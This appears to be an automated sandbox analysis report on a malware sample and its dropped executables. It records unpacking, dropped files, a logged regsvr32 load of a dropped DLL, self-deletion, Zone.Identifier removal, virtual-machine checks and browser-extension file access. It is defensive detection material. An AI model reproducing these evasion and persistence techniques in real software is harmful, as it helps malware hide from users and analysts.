Source:	Binary string: C:\weba\kika.pdb source: 405E.exe, 0000000D.00000000.394848625.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, gecbfdt, 0000001E.00000000.484717133.0000000000401000.00000020.00000001.01000000.00000014.sdmp, 405E.exe.1.dr, gecbfdt.1.dr
Source:	Binary string: C:\nefih\xugo.pdb source: 5999.exe, 00000013.00000000.409927020.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe, 00000013.00000002.470817394.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe, 00000019.00000000.431212305.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe.1.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 5999.exe, 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\hegehi\20\gilecozosixebu gazirule82-kekec.pdb source: file.exe, uucbfdt.1.dr
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb source: 37F1.exe, 0000000C.00000002.541669029.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: QDC:\gabotolupajavi\yakorod\pucomenazis.pdb source: 49F6.exe, 0000000F.00000000.399892526.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 49F6.exe.1.dr
Source:	Binary string: nHC:\Windows\System.ServiceModel.pdb source: 37F1.exe, 0000000C.00000002.530857284.0000000000196000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\gix\modabohuva lopehojeha9-kotisotinago\kayuhoki.pdb source: 45DE.exe, 0000000E.00000000.397590247.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 45DE.exe.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbR source: 37F1.exe, 0000000C.00000002.541669029.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: 37F1.exe, 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, 37F1.exe, 0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000003.430586809.0000000002EF0000.00000004.00000020.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\gix\modabohuva lopehojeha9-kotisotinago\kayuhoki.pdbx source: 45DE.exe, 0000000E.00000000.397590247.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 45DE.exe.1.dr
Source:	Binary string: 1C:\lahikuvobive\puhob.pdbp source: 5487.exe, 00000012.00000000.405253268.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, 5487.exe.1.dr
Source:	Binary string: C:\gihiyunawajova-92\licirif_zezada\88 lefe.pdb source: 37F1.exe, 0000000C.00000000.391310999.0000000000401000.00000020.00000001.01000000.00000009.sdmp, 37F1.exe.1.dr
Source:	Binary string: System.ServiceModel.pdbH source: 37F1.exe, 0000000C.00000002.542633343.0000000002F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: FC:\weba\kika.pdb source: 405E.exe, 0000000D.00000000.394848625.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, gecbfdt, 0000001E.00000000.484717133.0000000000401000.00000020.00000001.01000000.00000014.sdmp, 405E.exe.1.dr, gecbfdt.1.dr
Source:	Binary string: System.ServiceModel.pdb source: 37F1.exe, 0000000C.00000002.542633343.0000000002F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\lahikuvobive\puhob.pdb source: 5487.exe, 00000012.00000000.405253268.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, 5487.exe.1.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 5999.exe, 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 37F1.exe, 0000000C.00000002.541669029.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\gabotolupajavi\yakorod\pucomenazis.pdb source: 49F6.exe, 0000000F.00000000.399892526.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 49F6.exe.1.dr
Source:	Binary string: System.ServiceModel.pdbK source: 37F1.exe, 0000000C.00000002.552906667.0000000008132000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ^5C:\nefih\xugo.pdb source: 5999.exe, 00000013.00000000.409927020.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe, 00000013.00000002.470817394.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe, 00000019.00000000.431212305.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, 5999.exe.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Unpacked PE file: 12.2.37F1.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\uucbfdt	Unpacked PE file: 11.2.uucbfdt.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Unpacked PE file: 12.2.37F1.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Unpacked PE file: 13.2.405E.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A4A3 push ecx; ret	0_2_0040A4B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EF9D push ecx; ret	0_2_0040EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00701890 push cs; retf	0_2_0070189C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DE0D4 push cs; retf	0_2_008DE0FF
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040A4A3 push ecx; ret	11_2_0040A4B6
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040EF9D push ecx; ret	11_2_0040EFB0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0041C40C push cs; iretd	12_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00423149 push eax; ret	12_2_00423179
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0041C50E push cs; iretd	12_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_004231C8 push eax; ret	12_2_00423179
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0040E21D push ecx; ret	12_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0041C6BE push ebx; ret	12_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048DE484 push ecx; ret	12_2_048DE497
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048EBE73 push cs; iretd	12_2_048EBF49
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048EBF75 push cs; iretd	12_2_048EBF49
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048EC125 push ebx; ret	12_2_048EC126

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

12_2_004019F0

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\509E.dll

Source: sqlite3.dll.18.dr	Static PE information: section name: /4
Source: sqlite3.dll.18.dr	Static PE information: section name: /19
Source: sqlite3.dll.18.dr	Static PE information: section name: /31
Source: sqlite3.dll.18.dr	Static PE information: section name: /45
Source: sqlite3.dll.18.dr	Static PE information: section name: /57
Source: sqlite3.dll.18.dr	Static PE information: section name: /70
Source: sqlite3.dll.18.dr	Static PE information: section name: /81
Source: sqlite3.dll.18.dr	Static PE information: section name: /92

Source: C:\Users\user\AppData\Local\Temp\5487.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gecbfdt			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uucbfdt			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uucbfdt	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\37F1.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5999.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\509E.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\405E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5487.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gecbfdt	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\45DE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\49F6.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\uucbfdt:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\gecbfdt:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5487.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000002.356947410.00000000008CA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK#V

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 4112	Thread sleep count: 650 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4656	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4584	Thread sleep count: 227 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 792	Thread sleep count: 576 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1412	Thread sleep count: 155 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1444	Thread sleep count: 122 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5792	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5060	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

12_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_12-23710

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 650			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 576			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

API coverage: 9.1 %

Source: C:\Users\user\AppData\Local\Temp\5487.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

API call chain: ExitProcess graph end node

graph_12-23929

Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: explorer.exe, 00000001.00000000.269533597.000000000464E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 30d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX7
